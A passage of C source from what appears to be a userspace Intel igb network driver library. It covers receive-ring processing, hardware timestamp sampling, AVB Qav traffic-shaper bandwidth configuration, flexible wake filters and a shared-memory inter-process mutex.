NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; if (adapter->active != 1) // detach in progress return -ENXIO; if (queue_index > adapter->num_queues) return -EINVAL; rxr = &(adapter->rx_rings[queue_index]); if (!rxr) return -EINVAL; if (count == NULL) return -EINVAL; max_pkt = *count; *count = 0; if (received_packets == NULL) return -EINVAL; *received_packets = NULL; /* nothing reclaimed yet */ if (sem_trywait(&rxr->lock) != 0) return errno; /* EAGAIN */ if (adapter->active != 1) { sem_post(&rxr->lock); return -ENXIO; } /* Main clean loop - receive packets until no more * received_packets[] */ for (desc = rxr->next_to_check; *count < max_pkt;) { cur = &(rxr->rx_base[desc]); #ifdef DEBUG if (i%2) printf("\033[2A"); printf("desc.status_error=%x desc.length=%x desc.vlan=%x desc.rss=%x desc.pkt_info=%x desc.hdr_info=%x\n", cur->wb.upper.status_error, cur->wb.upper.length, cur->wb.upper.vlan, cur->wb.lower.hi_dword.rss, cur->wb.lower.lo_dword.hs_rss.pkt_info, cur->wb.lower.lo_dword.hs_rss.hdr_info); #endif staterr = le32toh(cur->wb.upper.status_error); if ((staterr & E1000_RXD_STAT_DD) == 0) break; cur->wb.upper.status_error = 0; eop = ((staterr & E1000_RXD_STAT_EOP) == E1000_RXD_STAT_EOP); if (eop) { /* * Free the frame (all segments) if we're at EOP and * it's an error. * * The datasheet states that EOP + status is only valid * for the final segment in a multi-segment frame. */ if (staterr & E1000_RXDEXT_ERR_FRAME_ERR_MASK) { ++rxr->rx_discarded; printf ("discard error packet\n"); igb_refresh_buffers(dev, queue_index, &rxr->rx_buffers[desc].packet, 1); } else { /* * add new packet to list of received packets * to return */ curr_pkt = rxr->rx_buffers[desc].packet; curr_pkt->len = cur->wb.upper.length; if (*received_packets == NULL) *received_packets = curr_pkt; if (prev_pkt) prev_pkt->next = curr_pkt; prev_pkt = curr_pkt; (*count)++; ++rxr->rx_packets; } } else { /* multi-segment frame is not supported yet */ ++rxr->rx_discarded; printf ("discard non-eop packet\n"); igb_refresh_buffers(dev, queue_index, &rxr->rx_buffers[desc].packet, 1); } next_desc: /* Advance our pointers to the next descriptor. */ if (++desc == adapter->num_rx_desc) desc = 0; } rxr->next_to_check = desc; if (sem_post(&rxr->lock) != 0) return errno; if (*received_packets == NULL) { /* nothing reclaimed yet */ errno = EAGAIN; return errno; } return 0; } #define MAX_ITER 32 #define MIN_WALLCLOCK_TSC_WINDOW 80 /* cycles */ #define MIN_SYSCLOCK_WINDOW 72 /* ns */ static inline void rdtscpll(uint64_t *val) { uint32_t high, low; __asm__ __volatile__("lfence;" "rdtsc;" : "=d"(high), "=a"(low) : : "memory"); *val = high; *val = (*val << 32) | low; } static inline void __sync(void) { __asm__ __volatile__("mfence;" : : : "memory"); } int igb_get_wallclock(device_t *dev, u_int64_t *curtime, u_int64_t *rdtsc) { u_int64_t t0 = 0, t1 = -1; u_int32_t duration = -1; u_int32_t timh, timl, tsauxc; struct adapter *adapter; struct e1000_hw *hw; int error = 0; int iter = 0; if (dev == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; hw = &adapter->hw; if (igb_lock(dev) != 0) return errno; /* sample the timestamp bracketed by the RDTSC */ for (iter = 0; iter < MAX_ITER && t1 - t0 > MIN_WALLCLOCK_TSC_WINDOW; ++iter) { tsauxc = E1000_READ_REG(hw, E1000_TSAUXC); tsauxc |= E1000_TSAUXC_SAMP_AUTO; /* Invalidate AUXSTMPH/L0 */ E1000_READ_REG(hw, E1000_AUXSTMPH0); rdtscpll(&t0); E1000_WRITE_REG(hw, E1000_TSAUXC, tsauxc); rdtscpll(&t1); if (t1 - t0 < duration) { duration = t1 - t0; timl = E1000_READ_REG(hw, E1000_AUXSTMPL0); timh = E1000_READ_REG(hw, E1000_AUXSTMPH0); if (curtime) *curtime = (u_int64_t)timh * 1000000000 + (u_int64_t)timl; if (rdtsc) /* average */ *rdtsc = (t1 - t0) / 2 + t0; } } if (igb_unlock(dev) != 0) { error = errno; goto err; } /* Return the window size * -1 */ return -duration; err: return error; } struct timespec timespec_subtract(struct timespec *a, struct timespec *b) { a->tv_nsec = a->tv_nsec - b->tv_nsec; if (a->tv_nsec < 0) { /* borrow */ a->tv_nsec += 1000000000; --a->tv_sec; } a->tv_sec = a->tv_sec - b->tv_sec; return *a; } struct timespec timespec_addns(struct timespec *a, unsigned long addns) { a->tv_nsec = a->tv_nsec + (addns % 1000000000); if (a->tv_nsec > 1000000000) { /* carry */ a->tv_nsec -= 1000000000; ++a->tv_sec; } a->tv_sec = a->tv_sec + addns/1000000000; return *a; } static inline u_int32_t TS2NS(struct timespec ts) { return ((ts.tv_sec*1000000000)+ts.tv_nsec); } int igb_gettime(device_t *dev, clockid_t clk_id, u_int64_t *curtime, struct timespec *system_time) { struct timespec t0 = { 0, 0 }, t1 = { .tv_sec = 4, .tv_nsec = 0 }; u_int32_t timh, timl, tsauxc; u_int32_t duration = -1; struct adapter *adapter; struct e1000_hw *hw; int error = 0; int iter = 0; if (dev == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; hw = &adapter->hw; if (igb_lock(dev) != 0) return errno; /* sample the timestamp bracketed by the clock_gettime() */ for (iter = 0; iter < MAX_ITER && duration > MIN_SYSCLOCK_WINDOW; ++iter) { u_int32_t duration_c; tsauxc = E1000_READ_REG(hw, E1000_TSAUXC); tsauxc |= E1000_TSAUXC_SAMP_AUTO; /* Invalidate AUXSTMPH/L0 */ E1000_READ_REG(hw, E1000_AUXSTMPH0); clock_gettime(clk_id, &t0); E1000_WRITE_REG(hw, E1000_TSAUXC, tsauxc); __sync(); clock_gettime(clk_id, &t1); timespec_subtract(&t1, &t0); duration_c = TS2NS(t1); if (duration_c < duration) { duration = duration_c; timl = E1000_READ_REG(hw, E1000_AUXSTMPL0); timh = E1000_READ_REG(hw, E1000_AUXSTMPH0); if (curtime) *curtime = (u_int64_t)timh * 1000000000 + (u_int64_t)timl; if (system_time) *system_time = timespec_addns(&t0, duration/2); } } if (igb_unlock(dev) != 0) { error = errno; goto err; } /* Return the window size * -1 */ return -duration; err: return error; } int igb_set_class_bandwidth(device_t *dev, u_int32_t class_a, u_int32_t class_b, u_int32_t tpktsz_a, u_int32_t tpktsz_b) { u_int32_t tqavctrl; u_int32_t tqavcc0, tqavcc1; u_int32_t tqavhc0, tqavhc1; u_int32_t class_a_idle, class_b_idle; u_int32_t linkrate; struct adapter *adapter; struct e1000_hw *hw; struct igb_link_cmd link = {0}; int err; float class_a_percent, class_b_percent; int error = 0; if (dev == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; hw = &adapter->hw; /* get current link speed */ err = ioctl(adapter->ldev, IGB_LINKSPEED, &link); if (err) return -ENXIO; if (link.up == 0) return -EINVAL; if (link.speed < 100) return -EINVAL; if (link.duplex != FULL_DUPLEX) return -EINVAL; if (tpktsz_a < 64) tpktsz_a = 64; /* minimum ethernet frame size */ if (tpktsz_a > 1500) return -EINVAL; if (tpktsz_b < 64) tpktsz_b = 64; /* minimum ethernet frame size */ if (tpktsz_b > 1500) return -EINVAL; if (igb_lock(dev) != 0) return errno; tqavctrl = E1000_READ_REG(hw, E1000_TQAVCTRL); if ((class_a + class_b) == 0) { /* disable the Qav shaper */ tqavctrl &= ~E1000_TQAVCTRL_TX_ARB; E1000_WRITE_REG(hw, E1000_TQAVCTRL, tqavctrl); goto unlock; } tqavcc0 = E1000_TQAVCC_QUEUEMODE; tqavcc1 = E1000_TQAVCC_QUEUEMODE; linkrate = E1000_TQAVCC_LINKRATE; /* * class_a and class_b are the packets-per-(respective)observation * interval (125 usec for class A, 250 usec for class B) * these parameters are also used when establishing the MSRP * talker advertise attribute (as well as the tpktsize) * * note that class_a and class_b are independent of the media * rate. For our idle slope calculation, we need to scale the * (tpktsz + (media overhead)) * rate -> percentage of media rate. */ /* 12=Ethernet IPG, * 8=Preamble+Start of Frame, * 18=Mac Header with VLAN+Etype, * 4=CRC */ class_a_percent = (float)((tpktsz_a + (12 + 8 + 18 + 4)) * class_a); class_b_percent = (float)((tpktsz_b + (12 + 8 + 18 + 4)) * class_b); class_a_percent /= 0.000125; /* class A observation window */ class_b_percent /= 0.000250; /* class B observation window */ if (link.speed == 100) { /* bytes-per-sec @ 100Mbps */ class_a_percent /= (100000000.0 / 8); class_b_percent /= (100000000.0 / 8); class_a_idle = (u_int32_t)(class_a_percent * 0.2 * (float)linkrate + 0.5); class_b_idle = (u_int32_t)(class_b_percent * 0.2 * (float)linkrate + 0.5); } else { /* bytes-per-sec @ 1Gbps */ class_a_percent /= (1000000000.0 / 8); class_b_percent /= (1000000000.0 / 8); class_a_idle = (u_int32_t)(class_a_percent * 2.0 * (float)linkrate + 0.5); class_b_idle = (u_int32_t)(class_b_percent * 2.0 * (float)linkrate + 0.5); } if ((class_a_percent + class_b_percent) > 0.75) { error = -EINVAL; goto unlock; } tqavcc0 |= class_a_idle; tqavcc1 |= class_b_idle; /* * hiCredit is the number of idleslope credits accumulated due to delay * * we assume the maxInterferenceSize is 18 + 4 + 1500 (1522). * Note: if EEE is enabled, we should use for maxInterferenceSize * the overhead of link recovery (a media-specific quantity). */ tqavhc0 = 0x80000000 + (class_a_idle * 1522 / linkrate); /* L.10 */ /* * Class B high credit is is the same, except the delay * is the MaxBurstSize of Class A + maxInterferenceSize of non-SR * traffic * * L.41 * max Class B delay = (1522 + tpktsz_a) / (linkrate - class_a_idle) */ tqavhc1 = 0x80000000 + (class_b_idle * ((1522 + tpktsz_a) / (linkrate - class_a_idle))); /* implicitly enable the Qav shaper */ tqavctrl |= E1000_TQAVCTRL_TX_ARB; E1000_WRITE_REG(hw, E1000_TQAVHC(0), tqavhc0); E1000_WRITE_REG(hw, E1000_TQAVCC(0), tqavcc0); E1000_WRITE_REG(hw, E1000_TQAVHC(1), tqavhc1); E1000_WRITE_REG(hw, E1000_TQAVCC(1), tqavcc1); E1000_WRITE_REG(hw, E1000_TQAVCTRL, tqavctrl); unlock: if (igb_unlock(dev) != 0) error = errno; return error; } int igb_set_class_bandwidth2(device_t *dev, u_int32_t class_a_bytes_per_second, u_int32_t class_b_bytes_per_second) { u_int32_t tqavctrl; u_int32_t tqavcc0, tqavcc1; u_int32_t tqavhc0, tqavhc1; u_int32_t class_a_idle, class_b_idle; u_int32_t linkrate; u_int32_t tpktsz_a; int temp; struct adapter *adapter; struct e1000_hw *hw; struct igb_link_cmd link = {0}; int err; float class_a_percent, class_b_percent; int error = 0; if (dev == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; hw = &adapter->hw; /* get current link speed */ err = ioctl(adapter->ldev, IGB_LINKSPEED, &link); if (err) return -ENXIO; if (link.up == 0) return -EINVAL; if (link.speed < 100) return -EINVAL; if (link.duplex != FULL_DUPLEX) return -EINVAL; if (igb_lock(dev) != 0) return errno; tqavctrl = E1000_READ_REG(hw, E1000_TQAVCTRL); if ((class_a_bytes_per_second + class_b_bytes_per_second) == 0) { /* disable the Qav shaper */ tqavctrl &= ~E1000_TQAVCTRL_TX_ARB; E1000_WRITE_REG(hw, E1000_TQAVCTRL, tqavctrl); goto unlock; } tqavcc0 = E1000_TQAVCC_QUEUEMODE; tqavcc1 = E1000_TQAVCC_QUEUEMODE; linkrate = E1000_TQAVCC_LINKRATE; /* it is needed for Class B high credit calculations * so we need to guess it * TODO: check if it is right */ temp = class_a_bytes_per_second / 8000 - (12 + 8 + 18 + 4); if (temp > 0) tpktsz_a = temp; else tpktsz_a = 0; /* TODO: in igb_set_class_bandwidth if given tpktsz_a < 64 * (for example 0) then the 64 value will be used even if * there is no class_A streams (class_a is 0) * I suspect that this is error, so we use 0 here. */ class_a_percent = class_a_bytes_per_second; class_b_percent = class_b_bytes_per_second; if (link.speed == 100) { /* bytes-per-sec @ 100Mbps */ class_a_percent /= (100000000.0 / 8); class_b_percent /= (100000000.0 / 8); class_a_idle = (u_int32_t)(class_a_percent * 0.2 * (float)linkrate + 0.5); class_b_idle = (u_int32_t)(class_b_percent * 0.2 * (float)linkrate + 0.5); } else { /* bytes-per-sec @ 1Gbps */ class_a_percent /= (1000000000.0 / 8); class_b_percent /= (1000000000.0 / 8); class_a_idle = (u_int32_t)(class_a_percent * 2.0 * (float)linkrate + 0.5); class_b_idle = (u_int32_t)(class_b_percent * 2.0 * (float)linkrate + 0.5); } if ((class_a_percent + class_b_percent) > 0.75) { error = -EINVAL; goto unlock; } tqavcc0 |= class_a_idle; tqavcc1 |= class_b_idle; /* * hiCredit is the number of idleslope credits accumulated due to delay * * we assume the maxInterferenceSize is 18 + 4 + 1500 (1522). * Note: if EEE is enabled, we should use for maxInterferenceSize * the overhead of link recovery (a media-specific quantity). */ tqavhc0 = 0x80000000 + (class_a_idle * 1522 / linkrate); /* L.10 */ /* * Class B high credit is is the same, except the delay * is the MaxBurstSize of Class A + maxInterferenceSize of non-SR * traffic * * L.41 * max Class B delay = (1522 + tpktsz_a) / (linkrate - class_a_idle) */ tqavhc1 = 0x80000000 + (class_b_idle * ((1522 + tpktsz_a) / (linkrate - class_a_idle))); /* implicitly enable the Qav shaper */ tqavctrl |= E1000_TQAVCTRL_TX_ARB; E1000_WRITE_REG(hw, E1000_TQAVHC(0), tqavhc0); E1000_WRITE_REG(hw, E1000_TQAVCC(0), tqavcc0); E1000_WRITE_REG(hw, E1000_TQAVHC(1), tqavhc1); E1000_WRITE_REG(hw, E1000_TQAVCC(1), tqavcc1); E1000_WRITE_REG(hw, E1000_TQAVCTRL, tqavctrl); unlock: if (igb_unlock(dev) != 0) error = errno; return error; } int igb_get_mac_addr(device_t *dev, u_int8_t mac_addr[ETH_ADDR_LEN]) { struct adapter *adapter; struct e1000_hw *hw; if (dev == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; hw = &adapter->hw; memcpy(mac_addr, hw->mac.addr, ETH_ADDR_LEN); return 0; } int igb_setup_flex_filter(device_t *dev, unsigned int queue_id, unsigned int filter_id, unsigned int filter_len, u_int8_t *filter, u_int8_t *mask) { struct adapter *adapter; struct e1000_hw *hw; u32 i = 0, j, k; u32 fhft, wufc; u_int8_t *filter_buf = filter; if (dev == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; if (filter_id > 7) return -EINVAL; if (queue_id > 1) return -EINVAL; if (filter_len > 128) return -EINVAL; if (filter_len % 8) { unsigned int aligned_filter_len = ((filter_len + (8 - 1)) / 8) * 8; printf ("warning: filter_len(%d) should be a 8 byte aligned value\n", filter_len); filter_buf = calloc(1, aligned_filter_len); if (!filter_buf) return -ENOMEM; memcpy((void*)filter_buf, (void*)filter, (size_t)filter_len); filter_len = aligned_filter_len; } hw = &adapter->hw; /* * example pattern to set to match on the following in a Magic Packet * 0x00: xx xx xx xx xx xx xx xx xx xx xx xx 08 00 45 00 * 0x10: xx xx xx xx xx xx xx 11 xx xx xx xx xx xx xx xx * 0x20: xx xx xx xx 00 07 00 86 xx xx ff ff ff ff ff ff * 0x30: m0 m1 m2 m3 m4 m5 xx xx xx xx xx xx xx xx xx xx * * Where m0-m5 are the 6 bytes of the mac address in network order * * example code follows * * ethertype should be IP which is 0x0800 * filter[0x0C] = 0x08; * filter[0x0D] = 0x00; * verify IPv4 and header length 20 * filter[0x0E] = 0x45; * filter[0x0F] = 0x00; * mask[1] = 0xF0; * verify L3 protocol is UDP * filter[0x17] = 0x11; * mask[2] = 0x80; * verify source and destination port numbers * filter[0x24] = 0x00; * filter[0x25] = 0x07; * filter[0x26] = 0x00; * filter[0x27] = 0x86; * mask[4] = 0xF0; * add start filter of 6 bytes all 0xFF * memset(&filter[0x2a], 0xff, 6); * mask[5] = 0xFC; * add mac address * memcpy(&filter[0x30], hw->mac.addr, 6); * mask[6] |= 0x3F; */ while (i < filter_len) { for (j = 0; j < 8; j += 4) { fhft = 0; for (k = 0; k < 4; k++) fhft |= ((u32)(filter_buf[i + j + k])) << (k * 8); E1000_WRITE_REG_ARRAY(hw, E1000_FHFT(filter_id), (i/2) + (j/4), fhft); } E1000_WRITE_REG_ARRAY(hw, E1000_FHFT(filter_id), (i/2) + 2, mask[i/8]); i += 8; } E1000_WRITE_REG_ARRAY(hw, E1000_FHFT(filter_id), 63, (queue_id << 8) | filter_len); E1000_WRITE_REG(hw, E1000_WUC, 0x21); /* XXX is this right ? */ wufc = E1000_READ_REG(hw, E1000_WUFC); wufc |= (E1000_WUFC_FLX0 << filter_id) | E1000_WUFC_FLEX_HQ; E1000_WRITE_REG(hw, E1000_WUFC, wufc); if (filter_buf && (filter_buf != filter)) free(filter_buf); return 0; } int igb_clear_flex_filter(device_t *dev, unsigned int filter_id) { struct adapter *adapter; struct e1000_hw *hw; u32 wufc; if (dev == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; if (filter_id > 7) return -EINVAL; hw = &adapter->hw; wufc = E1000_READ_REG(hw, E1000_WUFC); wufc &= ~(E1000_WUFC_FLX0 << filter_id); E1000_WRITE_REG(hw, E1000_WUFC, wufc); return 0; } static int igb_create_lock(struct adapter *adapter) { int error = -1; int fd = -1; bool locked = false; struct flock fl; struct stat stat; mode_t fmode = S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP; bool attr_allocated = false; pthread_mutexattr_t attr; if (!adapter) { errno = EINVAL; goto err; } if (adapter->memlock) { // already created errno = EINVAL; goto err; } /* * inter-process syncronization * * Use a posix mutex for inter-process syncronization * * igb lib used a posix named semaphore to protect concurrent accesses * from multiple processes. But since the posix semaphore cannot be * automatically released on process termination, if some process holding * the semaphore terminates without releasing it, other processes cannot * acquire the semaphore afterward. This could potentially cause a denial * of service condition. */ fd = shm_open(IGB_SEM, O_RDWR|O_CREAT|O_CLOEXEC, fmode); if (fd < 0) goto err; (void) fchmod(fd, fmode); // just to make sure fmode is applied // shared memory holding the mutex instance adapter->memlock = (pthread_mutex_t*) mmap(NULL, sizeof(pthread_mutex_t), PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (!adapter->memlock) goto err; /* * Exclusive access lock * * At this moment the posix mutex in the shared memory might not be * available yet and it needs initialization. We need to protect the * initialization code otherwise multiple processes could concurrently * do initialization. Create an exclusive access section by applying * the file-lock against the shared memory file. * * By the way the file-lock itself could safely be used for inter-process * synchronization because it also automatically gets unlocked on process * termination. But it is slower than the posix-mutex. So we should use * the posix-mutex once its initialization done. */ fl.l_type = F_WRLCK; fl.l_whence = SEEK_SET; fl.l_start = 0; fl.l_len = 1; fl.l_pid = getpid(); if (fcntl(fd, F_SETLKW, &fl) != 0) goto err; locked = true; if (fstat(fd, &stat) != 0) goto err; if (stat.st_size == 0) { // file is empty, do initialization /* * file-size becomes non-zero and given that when other processes * attach lib igb we can skip the initialization code for the mutex. */ if (ftruncate(fd, sizeof(pthread_mutex_t)) != 0) goto err; if (pthread_mutexattr_init(&attr) != 0) goto err; attr_allocated = true; // to be used for both inter-process and inter-thread synchronization if (pthread_mutexattr_setpshared(&attr, PTHREAD_PROCESS_SHARED) != 0) goto err; // to avoid dead lock due to a dead process holding the semaphore if (pthread_mutexattr_setrobust(&attr, PTHREAD_MUTEX_ROBUST) != 0) goto err; if (pthread_mutex_init(adapter->memlock, &attr) != 0) goto err; } error = 0; err: // no actual effect but to avoid a warning from a static code analyzer if (attr_allocated) (void) pthread_mutexattr_destroy(&attr); if (error != 0) { error = -errno; if (adapter && adapter->memlock) { (void) munmap(adapter->memlock, sizeof(pthread_mutex_t)); adapter->memlock = NULL; } } if (fd >= 0) { if (locked) { fl.l_type = F_UNLCK; (void) fcntl(fd, F_SETLK, &fl); } (void) close(fd); } return error; }